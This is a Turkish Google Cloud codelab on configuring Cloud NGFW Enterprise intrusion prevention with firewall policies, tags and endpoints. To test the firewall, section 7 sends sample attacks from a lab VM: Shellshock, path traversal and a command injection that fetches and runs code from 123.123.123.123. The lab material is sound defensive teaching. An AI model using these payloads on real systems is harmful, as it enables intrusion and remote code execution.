1. Giriş
Cloud Next Generation Firewall (NGFW)
Cloud Next Generation Firewall, Google Cloud iş yüklerinizi hem dahili hem de harici saldırılardan korumak için gelişmiş koruma özellikleri, mikro segmentasyon ve yaygın kapsama alanı sunan, tamamen dağıtılmış bir güvenlik duvarı hizmetidir.
Cloud NGFW'nin aşağıdaki avantajları vardır:
- Dağıtılmış güvenlik duvarı hizmeti: Cloud NGFW, sıfır güven güvenlik mimarisini etkinleştirmek için her iş yükünde durum bilgisi olan, tamamen dağıtılmış ana makine tabanlı bir zorunluluk sağlar.
- Basitleştirilmiş yapılandırma ve dağıtım: Cloud NGFW, bir kaynak hiyerarşisi düğümüne eklenebilen ağ ve hiyerarşik güvenlik duvarı politikalarını uygular. Bu politikalar, Google Cloud kaynak hiyerarşisi genelinde tutarlı bir güvenlik duvarı deneyimi sağlar.
- Ayrıntılı kontrol ve mikro segmentasyon: Güvenlik duvarı politikaları ile Identity and Access Management (IAM) tarafından yönetilen etiketlerin birleşimi, sanal özel bulut (VPC) ağları ve kuruluşlar genelinde, tek bir sanal makineye kadar hem istemci-sunucu hem de sanal makineler arası trafik için ayrıntılı kontrol sağlar.
Cloud NGFW aşağıdaki katmanlarda kullanılabilir:
- Cloud Next Generation Firewall Essentials
- Cloud Next Generation Firewall Standard
- Cloud Next Generation Firewall Enterprise
Cloud NGFW Enterprise
Cloud NGFW Enterprise, dağıtılmış Google Cloud Firewall yapısına 7. Katman özelliği olan Intrusion Prevention Service (IPS)'i ekler. TLS denetimi, TLS şifreli trafiğin denetlenmesine izin vermek için desteklenir ancak bu codelab'in kapsamı dışındadır (bkz. TLS denetimi ile Cloud NGFW Enterprise Codelab).
Artık ağ mimarinizde veya yönlendirme yapılandırmalarınızda herhangi bir değişiklik yapmadan ayrıntılı kontrollerle güvenilir Katman 7 Yeni Nesil Güvenlik Duvarı (NGFW) denetimleri dağıtabilirsiniz.
IPS ile 7. Katman güvenlik duvarı denetimini etkinleştirmek ve dağıtmak için aşağıdaki görevleri gerçekleştirmeniz gerekir:
- Bir dizi Google Cloud tarafından yönetilen bölgesel güvenlik duvarı uç noktası oluşturun.
- İsteğe bağlı olarak TLS denetim politikası oluşturun (bu codelab'de ele alınmamıştır).
- İsteğe bağlı olarak bir güven yapılandırması oluşturun (bu kod laboratuvarında ele alınmamıştır).
- Bu uç noktaları, Cloud NGFW Enterprise hizmetine ihtiyaç duyduğunuz Sanal Özel Bulut (VPC) ağlarıyla ilişkilendirin.
- Çeşitli trafik yolları için tehdit önleme profillerini belirtmek üzere mevcut güvenlik duvarı politikalarınızda ve güvenlik duvarı kurallarınızda basit değişiklikler yapın.
Ağ güvenlik duvarı politikaları
Ağ güvenlik duvarı politikası, güvenlik duvarı kuralları için kapsayıcı görevi görür. Bir ağ güvenlik duvarı politikasında tanımlanan kurallar, politika bir VPC ağıyla ilişkilendirilene kadar hiçbir yerde zorunlu kılınmaz. Her VPC ağıyla ilişkili bir ağ güvenlik duvarı politikası olabilir. Ağ güvenlik duvarı politikaları, güvenlik duvarı kurallarında IAM tarafından yönetilen etiketleri (veya yalnızca etiketleri) destekler. Bu etiketler, mevcut ağ etiketlerinin yerini alır ve iş yüküne kimlik sağlamak için kullanılabilir.
Bir ağ güvenlik duvarı politikasının ağlar arasında paylaşılması ve IAM tarafından yönetilen etiketlerle entegrasyonu, güvenlik duvarlarının yapılandırılmasını ve yönetilmesini büyük ölçüde kolaylaştırır.
Ağ güvenlik duvarı politikasının kullanıma sunulmasıyla birlikte Google Cloud'un güvenlik duvarı politikaları artık aşağıdaki bileşenlerden oluşmaktadır:
- Hiyerarşik Güvenlik Duvarı Politikası
- VPC Güvenlik Duvarı Kuralları
- Ağ Güvenlik Duvarı Politikası ( Global ve Regional)
Hiyerarşik güvenlik duvarı politikaları, kaynak hiyerarşisindeki kuruluş ve klasör düğümlerinde desteklenir. VPC güvenlik duvarı kuralları ve ağ güvenlik duvarı politikaları ise VPC düzeyinde uygulanır. VPC güvenlik duvarı kuralları ile ağ güvenlik duvarı politikaları arasındaki en büyük fark, VPC güvenlik duvarı kurallarının yalnızca tek bir VPC ağına uygulanabilmesidir. Ağ güvenlik duvarı politikaları ise toplu güncellemeler gibi diğer avantajların yanı sıra tek bir VPC'ye veya bir grup VPC'ye eklenebilir.
Son olarak, her VPC ağıyla birlikte gelen örtülü güvenlik duvarı kurallarımız da vardır:
- İşlemi izin ver olan ve hedefi 0.0.0.0/0 olan bir çıkış kuralı
- Eylemi reddetme, kaynağı 0.0.0.0/0 olan bir giriş kuralı
Varsayılan olarak, yaptırım sırası aşağıdaki diyagramda gösterilir:

VPC güvenlik duvarı kuralları ile genel ağ güvenlik duvarı politikası arasındaki zorunlu kılma sırasının değiştirilebileceğini lütfen unutmayın. Müşteriler, gcloud komutu ile yaptırım sırasını istedikleri zaman belirleyebilir.
IAM tarafından yönetilen etiketler
Yeni ağ güvenlik duvarı politikası kurallarına entegre edilen etiketler, Google Cloud kaynak hiyerarşisinin kuruluş veya proje düzeyinde tanımlanan anahtar-değer çifti kaynaklardır. Bu tür bir etiket, adından da anlaşılacağı gibi, etikette kimin ne yapabileceğini belirten bir IAM erişim denetimi içerir. Örneğin, IAM izinleri, hangi asıl kullanıcıların etiketlere değer atayabileceğini ve hangi asıl kullanıcıların etiketleri kaynaklara ekleyebileceğini belirtmeye olanak tanır. Bir kaynağa etiket uygulandıktan sonra ağ güvenlik duvarı kuralları, trafiğe izin vermek ve trafiği reddetmek için bu etiketi kullanabilir.
Etiketler, Google Cloud'un devralma kaynak modeline uyar. Bu nedenle etiketler ve değerleri, üst öğelerinden hiyerarşi boyunca aktarılır. Bu nedenle, etiketler bir yerde oluşturulup kaynak hiyerarşisi genelindeki diğer klasörler ve projeler tarafından kullanılabilir. Etiketler ve erişim kısıtlaması hakkında ayrıntılı bilgi için bu sayfayı ziyaret edin.
Etiketler, ağ etiketleriyle karıştırılmamalıdır. İkincisi, Compute Engine örneklerine eklenebilen dizelerdir. Örnekle ilişkilendirilirler ve örnek hizmetten kaldırıldığında kaybolurlar. VPC güvenlik duvarı kuralları ağ etiketleri içerebilir ancak bulut kaynağı olarak kabul edilmediklerinden IAM erişim denetimine tabi değildir.
Bu belgede Etiketler ve IAM tarafından yönetilen Etiketler'in birbirinin yerine kullanıldığını unutmayın.
Ne oluşturacaksınız?
Bu codelab için tek bir proje ve herkese açık bağlantıya sahip bir VPC ağı oluşturma olanağı gerekir. Ayrıca, Cloud NGFW Enterprise'ın şu yöntemlerle IPS işlevselliği sağlayabileceği gösterilir:
- VPC/alt ağ içi akışları inceleme [Doğu-Batı]
- İnternet'ten gelen giriş akışlarını inceleme [Kuzey-Güney]
İncelenecek akışlar, 5 unsurlu (kaynak IP, hedef IP, protokol, kaynak bağlantı noktası, hedef bağlantı noktası) ve etiketler dahil olmak üzere Cloud Güvenlik Duvarı eşleştirme parametreleri kullanılarak seçilir. Bu codelab'de TLS denetimi yer almaz.

Ağ güvenlik duvarı politikası kural tabanı aşağıdaki tabloya benzer:
Öncelik | Yön | Target | Kaynak | Hedef | İşlem | Tür |
100 | Çıkış | Quarantine_Tag | Tümü | Tümü | Reddet | Essentials |
1000 | Giriş | Server_Tag | Durum denetimi aralıkları | Tümü | İzin ver | Essentials |
2000 | Giriş | Tümü | Identity-Aware Proxy aralıkları | Tümü | İzin ver | Essentials |
3000 | Giriş | Tümü | Geo, GCTI | Tümü | Reddet | Standart |
4000 | Çıkış | Tümü | Tümü | Geo, GCTI | Reddet | Standart |
5000 | Çıkış | Tümü | Tümü | Sistem güncellemesi FQDN'leri | İzin ver | Standart |
6.000 | Giriş | Server_Tag | 10.0.0.0/24 | Tümü | IPS | Kurumsal |
7000 | Giriş | Server_Tag | CloudNAT_IP | Tümü | IPS | Kurumsal |
Neler öğreneceksiniz?
- Genel ağ güvenlik duvarı politikası oluşturma
- Ağ güvenlik duvarı politikasıyla etiketler oluşturma ve kullanma
- Cloud NGFW Enterprise Intrusion Prevention Service'i yapılandırma ve kullanma
Gerekenler
- Google Cloud projesi
- Örnekleri dağıtma ve ağ bileşenlerini yapılandırma bilgisi
- VPC güvenlik duvarı yapılandırması hakkında bilgi
2. Başlamadan önce
Değişken oluşturma/güncelleme
Bu codelab'de, Cloud Shell'de gcloud yapılandırmasının uygulanmasına yardımcı olmak için $değişkenleri kullanılır.
Cloud Shell'de aşağıdaki komutları çalıştırın. Köşeli parantez içindeki bilgileri gerektiği şekilde değiştirin (istenilen proje zaten ayarlanmışsa projeyi ayarlama adımını atlayın). Birden fazla (ör. güvenlik duvarı) uç nokta gerekirse kuruluş düzeyindeki kaynaklar için farklı bir değişken kullanılır.
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=cloudngfw export org_prefix=cloudngfw export billing_project_id=[project-id]
3. API'leri etkinleştir
Henüz yapmadıysanız API'leri etkinleştirin:
gcloud services enable compute.googleapis.com gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
4. Cloud NGFW Enterprise Security Profile ve Uç Nokta Oluşturma
Cloud NGFW Enterprise uç noktasının oluşturulması yaklaşık 20 dakika sürdüğünden önce bu uç nokta oluşturulur. Uç nokta oluşturulurken temel kurulum paralel olarak yapılabilir.
Güvenlik profili ve güvenlik profili grubu oluşturun:
gcloud network-security security-profiles threat-prevention \ create $org_prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $org_prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat
Beklenen çıktı:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com plete...done. Created security profile group [$org_prefix-spg].
Kaynakların başarıyla oluşturulduğunu onaylayın:
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
Beklenen çıktı:
NAME: cloudngfw-sp-threat NAME: cloudngfw-spg
Cloud NGFW Enterprise uç noktasını oluşturun:
gcloud network-security firewall-endpoints create $org_prefix-$zone \ --zone=$zone --organization $org_id \ --billing-project $billing_project_id
Uç noktanın oluşturulduğunu (STATE: CREATING) onaylamak için aşağıdaki komutu çalıştırın.
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Beklenen çıktı (çıktı biçiminin, kullanılan istemciye göre değişebileceğini unutmayın):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: CREATING
İsteğe bağlı olarak, daha fazla ayrıntı almak için aşağıdaki komutu çalıştırın:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
Beklenen çıktı:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: CREATING updateTime: '2023-04-25T18:08:45.493499362Z'
Uç nokta oluşturma işlemi yaklaşık 20 dakika sürer. Gerekli kaynakları paralel olarak oluşturmak için Temel Kurulum bölümüne gidin.
5. Temel Kurulum
Temel kaynakları manuel olarak oluşturmayı tercih ederseniz aşağıdaki bölümlere geçin.
VPC ağı ve alt ağ
VPC ağı ve alt ağ
VPC ağını ve alt ağı oluşturun:
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
Cloud Router'ları ve Cloud NAT ağ geçitlerini oluşturun:
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
Instances
İstemci ve web sunucusu örneklerini oluşturun:
gcloud compute instances create $prefix-$zone-www \
--subnet=$prefix-$region-subnet --no-address --zone $zone \
--metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'
gcloud compute instances create $prefix-$zone-client \
--subnet=$prefix-$region-subnet --no-address --zone $zone \
--scopes=compute-ro \
--metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2-utils iperf3 tcpdump -y'
Proje düzeyinde etiketler
Gerekirse kullanıcıya tagAdmin ve/veya tagUser izinleri atayın:
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser
Proje düzeyinde etiket anahtarı ve değerleri oluşturun:
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-quarantine \ --parent=$project_id/$prefix-vpc-tags
Etiketleri örneklere bağlama:
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
Genel ağ güvenlik duvarı politikası
Global ağ güvenlik duvarı politikası oluşturma:
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise" --global
Karantinaya alınmış örneklerden gelen trafiği reddetmek (yalnızca örnek olarak oluşturulmuş olup bu codelab'de kullanılmamaktadır) ve health-check ile identity-aware proxy aralıklarından gelen trafiğe izin vermek için Cloud Firewall Essential kuralları oluşturun:
gcloud compute network-firewall-policies rules create 100 \
--description="block quarantined workloads" \
--action=deny \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=all \
--direction=EGRESS \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
--dest-ip-ranges=0.0.0.0/0
gcloud compute network-firewall-policies rules create 1000 \
--description="allow http traffic from health-checks ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80,tcp:443 \
--direction=INGRESS \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22
gcloud compute network-firewall-policies rules create 2000 \
--description="allow ssh traffic from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
Ambargo uygulanan ülkelerden, bilinen kötü amaçlı IP'lerden ve ToR çıkış düğümlerinden gelen/bu yerlere giden giriş ve çıkış trafiğini reddetmek için Cloud Firewall Standard kuralları oluşturun. Ayrıca, sistem güncellemeleri için yalnızca belirli FQDN'lere giden çıkış trafiğine izin verin (yalnızca örnek olarak oluşturulmuştur, bu codelab'de kullanılmamaktadır):
gcloud compute network-firewall-policies rules create 3000 \
--description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
--action=deny \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=all \
--direction=INGRESS \
--src-region-codes CU,IR,KP,SY,XC,XD \
--src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips
gcloud compute network-firewall-policies rules create 4000 \
--description="block egress traffic to sanctioned countries, known malicious IPs and ToR exit nodes" \
--action=deny \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=all \
--direction=EGRESS \
--dest-region-codes CU,IR,KP,SY,XC,XD \
--dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips
gcloud compute network-firewall-policies rules create 5000 \
--description "allow system updates" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80,tcp:443 \
--direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com
Belirli aralıklardan gelen doğu-batı / alt ağ içi ve kuzey-güney / internet giriş trafiğine izin vermek için Cloud Firewall kuralları oluşturun (bu kurallar, Cloud NGFW Enterprise'ı etkinleştirmek üzere güncellenir):
gcloud compute network-firewall-policies rules create 6000 \
--description "allow ingress internal traffic from clients" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--direction=INGRESS \
--enable-logging \
--layer4-configs all \
--src-ip-ranges=10.0.0.0/24 \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
gcloud compute network-firewall-policies rules create 7000 \
--description "allow ingress external traffic to server" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80,tcp:443 \
--direction=INGRESS \
--enable-logging \
--src-ip-ranges=$cloudnatip \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
Ağ güvenlik duvarı politikasını VPC ağıyla ilişkilendirin:
gcloud compute network-firewall-policies associations create \
--firewall-policy $prefix-fwpolicy \
--network $prefix-vpc \
--name $prefix-fwpolicy-association \
--global-firewall-policy
Harici TCP/UDP ağ yük dengeleyicisi
Harici bir IP adresi ayırın ve örnek grubunu ve durum denetimini oluşturun:
gcloud compute addresses create $prefix-$region-nlbip --region=$region
gcloud compute instance-groups unmanaged create $prefix-ig \
--zone $zone
gcloud compute instance-groups unmanaged add-instances $prefix-ig \
--instances $prefix-$zone-www --zone $zone
gcloud compute health-checks create http $prefix-$region-hc-http80 \
--region $region --port 80
Arka uç hizmeti ve iletim kuralı oluşturma:
gcloud compute backend-services create $prefix-nlb-bes \
--protocol TCP \
--health-checks $prefix-$region-hc-http80 \
--health-checks-region $region \
--region $region
gcloud compute backend-services add-backend $prefix-nlb-bes \
--instance-group $prefix-ig \
--instance-group-zone $zone \
--region $region
gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
--load-balancing-scheme EXTERNAL \
--region $region \
--ports 80 \
--address $prefix-$region-nlbip \
--backend-service $prefix-nlb-bes
6. Cloud NGFW Enterprise Endpoint Association
Gerekirse ortam değişkenlerini yeniden tanımlayın.
Cloud Firewall Endpoint oluşturma işleminin başarıyla tamamlandığını onaylayın. Yalnızca durum ACTIVE olarak gösterildiğinde devam edin (oluşturma sırasında beklenen durum CREATING'dir):
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Beklenen çıktı (çıktı biçiminin, kullanılan istemciye göre değişebileceğini unutmayın):
ID: cloudngfw-[zone] LOCATION: [zone] STATE: ACTIVE
İsteğe bağlı olarak, daha fazla ayrıntı almak için aşağıdaki komutu çalıştırın:
gcloud network-security firewall-endpoints describe \ $org_prefix-$zone --organization $org_id --zone $zone
Beklenen çıktı:
createTime: '2023-04-25T18:08:45.493499362Z' name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] state: ACTIVE updateTime: '2023-04-25T18:29:40.840608100Z'
Cloud NGFW Enterprise uç noktasını VPC ağıyla ilişkilendirin:
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc --endpoint $org_prefix-$zone \ --organization $org_id
İlişkilendirme işlemi yaklaşık 10 dakika sürer. Yalnızca durum ACTIVE olarak gösterildiğinde devam edin (oluşturma işlemi sırasında beklenen durum CREATING'dir):
gcloud network-security firewall-endpoint-associations list
Beklenen çıktı:
ID: cloudngfw-association LOCATION: [zone] NETWORK: cloudngfw-vpc ENDPOINT: cloudngfw-[zone] STATE: ACTIVE
İsteğe bağlı olarak, daha fazla ayrıntı almak için aşağıdaki komutu çalıştırın:
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
Beklenen çıktı:
createTime: '2023-05-01T22:25:06.218544436Z' firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone] name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association network: projects/[project-id]/global/networks/cloudngfw-vpc state: ACTIVE updateTime: '2023-05-01T22:33:06.467596536Z'
7. Cloud NGFW Enterprise İnceleme Kuralları
Yeni bir sekme açın ve IAP üzerinden istemci sanal makineye SSH bağlantısı başlatın (yeni sekmede değişkenleri tekrar tanımlamanız gerekir):
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
SSH oturumunda gerekli değişkenleri tanımlayın ve değişkenleri ayarlayın (değerlerin doğru olduğundan emin olun):
export region=[region] export zone=[zone] export prefix=cloudngfw export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)") export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")
Ulaşılabilir olduklarını doğrulamak için her iki IP'yi de curl komutuyla test edin:
curl $target_privateip --max-time 2 curl $target_nlbip --max-time 2
Her iki curl isteği için beklenen sonuç:
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
Dahili sunucu IP'sine örnek saldırılar gönderin (Doğu-Batı / VPC içi trafik). Web sunucusu, L7 incelemesi/önleme olmadığını doğrulayarak tüm isteklere yanıt vermelidir:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3
curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3
curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Örnek saldırıları Cloud NAT (kuzey-güney yönlü gelen trafik) üzerinden harici sunucu IP'sine yeniden gönderin. Benzer şekilde, web sunucusu tüm isteklere yanıt vermelidir:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3
curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3
curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Hem herkese açık hem de özel IP'ler için beklenen sonuçlar:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> <hr> <address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address> </body></html> Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone] <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
Cloud Shell'e geri dönün ve L7 denetimini etkinleştirmek için mevcut giriş kurallarını güncelleyin:
gcloud compute network-firewall-policies rules update 6000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg gcloud compute network-firewall-policies rules update 7000 \ --action=apply_security_profile_group \ --firewall-policy=$prefix-fwpolicy \ --enable-logging \ --global-firewall-policy \ --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg
İsteğe bağlı olarak, her ikisinin de başarıyla güncellendiğini doğrulamak için güvenlik duvarı kurallarını açıklayın:
gcloud compute network-firewall-policies rules describe 6000 \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy
Beklenen çıktı:
--- action: apply_security_profile_group description: allow ingress internal traffic from tagged clients direction: INGRESS disabled: false enableLogging: true kind: compute#firewallPolicyRule match: layer4Configs: - ipProtocol: all srcIpRanges: - 10.0.0.0/24 priority: 800 ruleTupleCount: 4 securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg targetSecureTags: - name: tagValues/281484362719839 state: EFFECTIVE
7000. Kural:
gcloud compute network-firewall-policies rules describe 7000 \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy
Beklenen çıktı:
---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
layer4Configs:
- ipProtocol: tcp
ports:
- '80'
- ipProtocol: tcp
ports:
- '443'
srcIpRanges:
- [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
state: EFFECTIVE
İstemci sanal makinesine geri dönün ve örnek saldırıları dahili sunucu IP'sine (Doğu-Batı / VPC içi inceleme) yeniden gönderin:
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3
curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3
curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Örnek saldırıları Cloud NAT üzerinden harici sunucu IP'sine yeniden gönderin (kuzey-güney yönlü gelen inceleme):
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3
curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3
curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3
curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"
Aşağıdaki beklenen çıktıya göre, ilk saldırılar için yanıt alınmıyor. Bu da yüksek önem dereceli saldırıların artık engellendiğini doğruluyor.
curl: (56) Recv failure: Connection reset by peer curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address> </body></html>
Günlükleri doğrulamak için Cloud Console'da Ağ Güvenliği > Tehditler'e gidin (saldırılar henüz gösterilmiyorsa birkaç kez yenilemeniz gerekebilir).

Saldırılardan birini seçin ve sağ taraftaki "Denetleme günlüğünü görüntüle"yi tıklayın (kolayca geri dönmek için yeni sekmede açın). Ayrıntıları göstermek için saldırıyı genişletin:

İsteğe bağlı olarak, Günlük Gezgini filtresini aşağıdaki sorguyla değiştirin:
resource.type="networksecurity.googleapis.com/FirewallEndpoint"
Tehdit günlüğü girişleri aşağıdaki gibi görünmelidir:

Cloud Firewall tarafından engellenen paketler, aşağıdaki Günlük Gezgini filtresi kullanılarak doğrulanabilir (sorun giderme amacıyla kullanışlıdır):
jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

İnternet trafiği incelemesine (isteğe bağlı) devam edin veya SSH oturumunu kapatıp temizleme adımları için sonraki bölüme geçin.
[İsteğe bağlı] İnternet trafiği incelemesi
Önceki bölümde doğrulandığı gibi, şu ana kadar incelenen akışlar alt ağ/VPC içi (Doğu-Batı) ve internetten gelen trafiktir (Kuzey-Güney gelen). Cloud NGFW Enterprise, Cloud Shell'i kullanarak yeni bir çıkış kuralı oluşturarak tüm internet trafiğini (kuzey-güney yönlü çıkış) inceleyecek şekilde de yapılandırılabilir:
